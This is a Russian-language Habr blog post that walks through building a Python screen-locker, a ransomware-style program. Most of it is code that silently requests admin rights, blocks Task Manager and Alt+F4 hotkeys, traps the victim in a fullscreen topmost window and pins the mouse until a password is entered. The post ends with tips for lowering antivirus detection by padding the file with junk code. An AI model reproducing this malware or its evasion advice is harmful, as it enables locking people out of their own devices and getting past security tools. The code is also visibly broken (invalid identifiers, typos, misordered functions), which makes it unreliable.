Pull to refresh

Работа локера на примере Python

Привет, Хабр! В этой статье мы сделаем рабочий локер на Python. Да, вирус на питоне возможен. Например, мой Avast не смог его распознать, но в VirusTotal распознало 8 антивирусов.

Дисклеймер: я не несу ответственности за ваши действия, статья несёт исключительно ознакомительный характер и не призывает к действиям.

Приступим

Локер - это вид компьютерного вируса, который полностью блокирует доступ к устройству и просит код для разблокировки, который нужно "выкупить", отправив деньги на определенный адрес. Чаще всего это биткоин-кошельки.

Мы же не будем просить деньги, мы это делаем для развлечения и ни в коем случае не распространяем его, тестируем только на своём компьютере.

Для начала нужно установить все необходимые модули

pip install pyautogui
pip install pyqadmin
pip install keyboard
pip install tkinter #иногда встроенно

Далее откроем наш файл main.py и напишем основу кода

import pyautogui, os, sys, pyqadmin, keyboard
from tkinter import Tk, Entry, Label
from tkinter import *
from pyautogui import click, moveTo
from pyqadmin import admin
from time import sleep
import random

class Administr():
  pass

class KeyboardAttribs():
  pass

class Main(Frame):
  pass

class ExitProgram():
  pass

Большая часть кода и интерфейса находится в классе Main(). Но сначала начнём с дополнительных.

class Administr():
  #выдаём администратора без уведомления ламера
  @admin
  def adm():
    req = "AdminRequest('-push', False)"

class KeyboardAttribs():
  #запрещаем alt+f4, открытие диспетчера задач
  keyboard.add_hotkey("ctrl + shift + esc", lambda: None, suppress =True)
  keyboard.add_hotkey("alt + f4", lambda: None, suppress =True)

class ExitProgram(): #этот класс переместите в конец кода
  ex += 0
  while True:
    if ex == 1:
      #выходим если пароль введён правильно (в Main)
      sys.exit()

Ламер не сможет открыть диспетчер задач через ctrl+shift+esc, но сможет через ctrl+alt+delete, это мы потом исправим. Также жертва не сможет закрыть программу через alt+f4.

А вот и главный класс локера. В нём мы создадим интерфейс на весь экран без кнопки закрытия и отображения панели задач/быстрого доступа. Также чтобы исправить проблему с диспетчером задач, это окно будет отображатся поверх всех окон. Чтобы избавиться от нас, жертва должна ввести пароль

class Main(Frame):
	#создаём окно
    root = Tk()
    pyautogui.FAILSAFE = False
    #узнаём разрешение экрана
    width = root.winfo_screenwidth()
    height = root.winfo.screenheight()
    #закрываем кнопку выхода и панель задач, ставим поверх всех окон
    root.attributes("-fullscreen", True, "-topmost", True)
    
    #виджеты, текст
    entry1 = Entry(root, font=1).place(width=150, height=50, x=width/2-75, y=height/2-25)
    label1 = Label(root, text="Ваше устройство заблокировано. Для разблокировки...", font=1)
    label1.place(x=3, y=3)
    label2 = Label(root, text="Введи пароль и нажми Enter", font="Arial 20").place(x=width/2-75-130, y=height/2-25-100)
    
    root.update()
    #с задержкой кликаем в центр
    sleep(0.2)
    click(width/2, height/2)
    m_key = False
    while not m_key:
    	click(width/2, height/2)
        #посстояно двигаем мышь в центр
        moveTo(width/2, height/2)
        root.attributes("-fullscreen", True, "-topmost", True)
        root.protocol("WM_DELETE_WINDOW")
        
        root.update()
        root.bind('<Enter>', callback)

    def callback(event):
    	global k, entry
        #проверяем пароль
        ex = 0
        if entry.get == "ваш_пароль":
        	m_key = True
            ex += 1

    root.title("you locked")
    root.resizable(Fasle, False)
    root.mainloop()

Наш локер готов. Как упоминалось выше, он не понравился 8 антивирусам. Это число можно разделить на два, разбавив хэш ненужными комментариями и вычислениями. Всё просто - перед каждой строкой ставишь много длинных комментариев и вычислений по типу:

25h = 1
25h += 1 + 6 - 12/2
h67 = 25h/2 + 19 * 5
h13 = 25h + h67 * 25h/h67

Однако скрипт будет загружаться дольше, поэтому советую оставить только длинные комментарии.

В завершение...

Не распространяйте вирусы. Я не сеньёр в питоне, поэтому прошу о всех ошибках писать в комментарии. Знаю, статья получилась короткой.

Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.